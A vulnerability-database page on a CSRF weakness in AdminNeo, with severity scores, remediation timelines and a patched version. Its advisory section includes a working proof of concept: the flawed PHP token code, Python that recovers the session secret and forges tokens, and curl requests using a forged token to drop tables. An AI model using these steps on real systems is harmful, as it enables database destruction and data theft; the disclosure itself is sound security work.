CVE-2026-96629

MEDIUMPre-NVD 6.86.8
EchelonGraph scoreHIGH confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 6.8 from GitHub Security Advisory (severity: MODERATE) published 2026-10-30. The CNA's CVSS baseline 6.8; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-wm25-49w3-5qrg (GitHub Security Advisories)

6.8EG
EchelonGraph verdictMonitorRemediate within your standard update timelines (the SSVC decision on this page).
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 6.8Exploit: None knownExposed services: Not assessed

A fixed version is listed under Patch Availability — apply it.

AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery

Summary

AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.

Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh

Details

Token generation in admin/include/functions.inc.php lines 1181-1184:

function get_token() {
	$rand = rand(1, 1e6);
	return ($rand ^ $_SESSION["token"]) . ":$rand";
}

Token verification in lines 1189-1192:

function verify_token() {
	list($token, $rand) = explode(":", $_POST["token"]);
	return ($rand ^ $_SESSION["token"]) == $token;
}

Session token initialized in admin/include/auth.inc.php lines 327 and 385:

$_SESSION["token"] = rand(1, 1e6);

Three distinct weaknesses:

  • Instant recovery: The token format (rand XOR secret):rand transmits both operands. Recovery is trivial: secret = masked_value XOR rand.
  • Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
  • Loose comparison: verify_token() uses == (loose comparison) instead of ===, enabling PHP type juggling.

PoC

Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).

Step 1: Observe a single CSRF token

Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:

Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.

Step 2: Recover the session secret (instant, 1 XOR operation)

observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)

Result: 817530

The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.

Step 3: Forge unlimited valid CSRF tokens

import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"

Example output: 729376:481370

Each forged token is unique and valid. The attacker can generate as many as needed.

Step 4: Execute arbitrary SQL with the forged token

# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=729376:481370" \
  --data-urlencode "query=DROP TABLE csrf_victim_table;" \
  -d "limit=0"

Step 5: Verify a random wrong token is rejected (control)

curl -b victim_cookies.txt \
  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=111:222" \
  --data-urlencode "query=SELECT 1" -d "limit=1"

Result: "Invalid CSRF token. Send the form again."

Weaponized CSRF attack page

In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:

Click here for free database optimization tips
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->

document.getElementById('f').submit();

Impact

  • Cross-Site Request Forgery against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server.
  • An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.
  • With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.
  • The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).

CVSS v3
6.8
EG Score
6.8MEDIUMhigh confidence
EG Risk
31
EG Risk 31/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity68% × 45%
Impact severity (EG Severity): CVSS 6.8 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fixed version is listed under Patch Availability. Apply it within your standard update timelines.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (6.8): severity, escalated by confirmed exploitation. This CVE's 6.8 is its impact severity (EG Severity), not escalated.

EG Severity
6.8 MEDIUMCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

A fixed version is listed under Patch Availability. Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

October 30, 2026

Last Modified

October 30, 2026

Vendor Advisories for CVE-2026-96629(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
composeradminneo-org/adminneo @ 5.5.1 (fixes < 5.5.1)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:37 UTCGHSA enrichmentGHSA-wm25-49w3-5qrg · GitHub severity MODERATE · GitHub CVSS 6.8
  2. 2026-11-01 07:37 UTCEG score recompute
  3. 2026-10-30 23:45 UTCEG score recomputeFirst assessed: 6.8 MEDIUM

Frequently asked(4)

What is CVE-2026-96629?
CVE-2026-96629 is a medium-severity vulnerability; its CVE record was published on October 30, 2026. AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery Summary AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who…
When was the CVE record for CVE-2026-96629 published?
The CVE record for CVE-2026-96629 was published on October 30, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of October 30, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-96629?
CVE-2026-96629 has a CVSS base score of 6.8 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-96629?
A fixed version for CVE-2026-96629 is listed under Patch Availability on this page: update to the version listed for your package. The vendor advisories EchelonGraph has for CVE-2026-96629 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-96629

Explore →

Is Your Infrastructure Affected by CVE-2026-96629?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.